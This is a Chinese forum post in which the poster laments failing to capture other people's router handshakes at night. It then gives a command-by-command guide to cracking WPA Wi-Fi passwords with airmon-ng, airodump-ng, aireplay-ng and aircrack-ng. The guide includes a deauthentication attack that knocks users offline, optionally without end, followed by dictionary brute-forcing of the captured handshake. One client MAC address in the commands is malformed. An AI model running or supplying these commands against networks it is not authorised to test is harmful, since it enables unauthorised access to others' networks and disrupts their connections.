路由器进化了？不能抓包了？有客户端连接还是抓不到包哇大晚上的难道没人用wifi？有点离谱
抓我自己的路由器包还很快
确认网卡是否支持监听模式：使用airmon-ng命令，如果看见wlan0，即支持。
开启此网卡的监听模式：使用airmon-ng start wlan0命令开启。然后使用ifconfig命令可以看见之前的wlan0变成了wlan0mon。（airmon-ng stop wlan0；取消监听模式）
周围wifi扫描：输入airodump-ng wlan0mon命令回车，可看见周围wifi列表信息。列表上展示了wifi的信号强度、加密类型、信道等信息，记好要破解的BSSID和信道ID.
监听抓取握手包：输入airodump-ng -c 信道ID --bssid BSSID -w hach wlan0mon命令回车，可看见此wifi连接的用户信息。
airodump-ng -c 11 --bssid 9C:7F:81:99:9D:26 wlan0mon -w /home/li/桌面/wificap/wificap
参数解释：-c 指定信道，上面已经标记目标热点的信道;-bssid指定目标路由器的BSSID，就是上面标记的BSSID;-w指定抓取的数据包保存的目录.
一旦有新用户连接上wifi，就可以抓取到握手包。在右上角出现handshake的提示证明获得了包含WPA-PSK密码的握手数据报文说明有用户连接并且抓包成功。
注：如果一直都没有用户连接，则抓不到握手包。此时可以使用将连接用户强制踢下线的办法，让用户重新连接。总的来说，还是需要有新用户连接才行。
重启一个终端窗口
强制踢下线：使用aireplay-ng
aireplay-ng -0 2 -a 9C:2E:A1:20:65:BC -c A4:50:468:74:29 wlan0mon
-0：采用Deauth攻击模式；
-0：后面紧跟攻击次数，这里设置为2，大家可以根据实际情况设置，如果设置为0，则会导致对方一直掉线；
-a：指定路由器的MAC;
-c：指定客户机的MAC;
进行密码暴力破解：使用aircrack-ng -a2 -b BSSID -w 字典文件 抓包资源。
KEY FOUND！便是破解成功，密码就是[ ]里面的值。
本帖子中包含更多资源
您需要 登录 才可以下载或查看，没有账号？立即注册
×